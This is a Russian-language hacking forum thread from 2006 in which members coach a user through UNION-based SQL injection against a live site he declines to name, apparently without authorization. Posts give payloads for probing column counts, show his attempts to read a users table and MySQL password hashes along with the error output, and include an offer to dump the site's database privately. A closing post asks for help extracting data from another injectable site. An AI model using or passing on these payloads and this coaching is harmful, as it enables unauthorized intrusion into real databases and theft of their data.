Error sql

Discussion in 'PHP' started by Koller, 21 Oct 2006.

  1. Koller

    Koller Elder - Старейшина

    Joined:
    25 Jul 2005
    Messages:
    402
    Likes Received:
    246
    Reputations:
    302
    Ситуация такая...

    Не раз сталкивался с подобными ошибками...
    Расплывчато представляю то, как использовать подобную ошибку...
    Не могли бы Вы рассказать...что да как...
    И если можно с примером...
     
  2. ~Real F@ck!~

    ~Real F@ck!~ Elder - Старейшина

    Joined:
    9 Jul 2006
    Messages:
    283
    Likes Received:
    170
    Reputations:
    -8
    Скуль конкретный! Дай ссылку баги... я что нить попробую.!.!.!.!
     
  3. Azazel

    Azazel Заведующий всем

    Joined:
    17 Apr 2005
    Messages:
    918
    Likes Received:
    213
    Reputations:
    154
    Попробуй без кавычки, потом попробуй например id=(или чё там) несуществующее 777777777777
     
    1 person likes this.
  4. Koller

    Koller Elder - Старейшина

    Joined:
    25 Jul 2005
    Messages:
    402
    Likes Received:
    246
    Reputations:
    302
    Ссори, ссылку дать никак не могу...
    Проект очень и очень серьезный, не хотелось бы, чтоб его напрочь снесли...В общем светить ссылку ну никак не могу...

    to Azazel

    Что-то вроде 77777777 вводил...выводил, что мол запись просто не найдена...
    Данная ошибка, которую я описал в первом посте как я понял реагирует только тогда, когда id='
    Ничего другого, именно '...
    Вводил все что можно...
    Какие еще будут предложения?
     
    #4 Koller, 21 Oct 2006
    Last edited: 21 Oct 2006
  5. Goudini

    Goudini Elder - Старейшина

    Joined:
    7 Jun 2006
    Messages:
    132
    Likes Received:
    134
    Reputations:
    91
    id=9999999+union+select+null,null,null/*
    id=9999999+union+select+1,2,3/*
    Подбираешь цифры пока не ищезнет сообщение
    The used SELECT statements have a different number of columns
    Потом можно будет доставать данные с базы

    И вобще прежде чем задавать такие вопросы юзай поиск по сайту! Про sql-injection написано достаточно...
     
    1 person likes this.
  6. Koller

    Koller Elder - Старейшина

    Joined:
    25 Jul 2005
    Messages:
    402
    Likes Received:
    246
    Reputations:
    302
    Я всегда прежде чем задавать какие-то там либо вопросы обращаюсь к поиску...
    Да, по поводу sql-injection написано даже придостачно...согласен...
    Далеко не все понимал, когда читал например статью отсюда - _/thread19844.html
    Посему решил на реальном примере разобраться...прошу зла на меня держать, ежели посчитаете эту тему вовсе нубской ;)
    Подобрал цифры...сообщение исчезло...
    Каким образом можно достать данные с базы? Мне ведь как я понимаю нужно знать названия столбцов...как делать, не знаю...
    Прошу помочь...

     
  7. Koller

    Koller Elder - Старейшина

    Joined:
    25 Jul 2005
    Messages:
    402
    Likes Received:
    246
    Reputations:
    302
    Постепенно начинаю понимать:

    при запросе id='+union+select+1,2,3,4,5,6,7+from+users/* выдает - Table 'cj**.users' doesn't exist
    при запросе id='+union+select+1,2,3,4,5,6,7,mysql.user.password,null+from+mysql.user/* - Access denied for user 'pank***'@'217.23.133.***' to database 'mysql'
    про запросе id='+union+select+null,null,null,null,VERSION(),null,null/* выдает - Illegal mix of collations (cp1251_general_ci,IMPLICIT) and (utf8_general_ci,SYSCONST) for operation 'UNION'
    Что мне это все дает?
    И как правильно составить все-таки запрос?
     
    #7 Koller, 21 Oct 2006
    Last edited: 22 Oct 2006
  8. guest3297

    guest3297 Banned

    Joined:
    27 Jun 2006
    Messages:
    1,246
    Likes Received:
    639
    Reputations:
    817
    Кодирова не та просто.
     
  9. Koller

    Koller Elder - Старейшина

    Joined:
    25 Jul 2005
    Messages:
    402
    Likes Received:
    246
    Reputations:
    302
    Ввел так, ничего нового не узнал - 01.01.1970 pank***@217.23.133.***
    Каким образом можно попытаться достать нужную мне информацию из БД?
     
  10. guest3297

    guest3297 Banned

    Joined:
    27 Jun 2006
    Messages:
    1,246
    Likes Received:
    639
    Reputations:
    817
    Стукни в асю могу снять базу.
     
    1 person likes this.
  11. <-<HakS>->

    <-<HakS>-> New Member

    Joined:
    8 Aug 2005
    Messages:
    2
    Likes Received:
    0
    Reputations:
    0
    вот такая проблема:

    есть сайт с sql инъекцией, когда я подбираю правильное количество полей скрипт выводит страницу но без инфы в базе вот, так как её можно вытащить из бызы.
    пхпинфо:
    register_globals Off
    magic_quotes_gpc On
    magic_quotes_runtime Off
    magic_quotes_sybase Off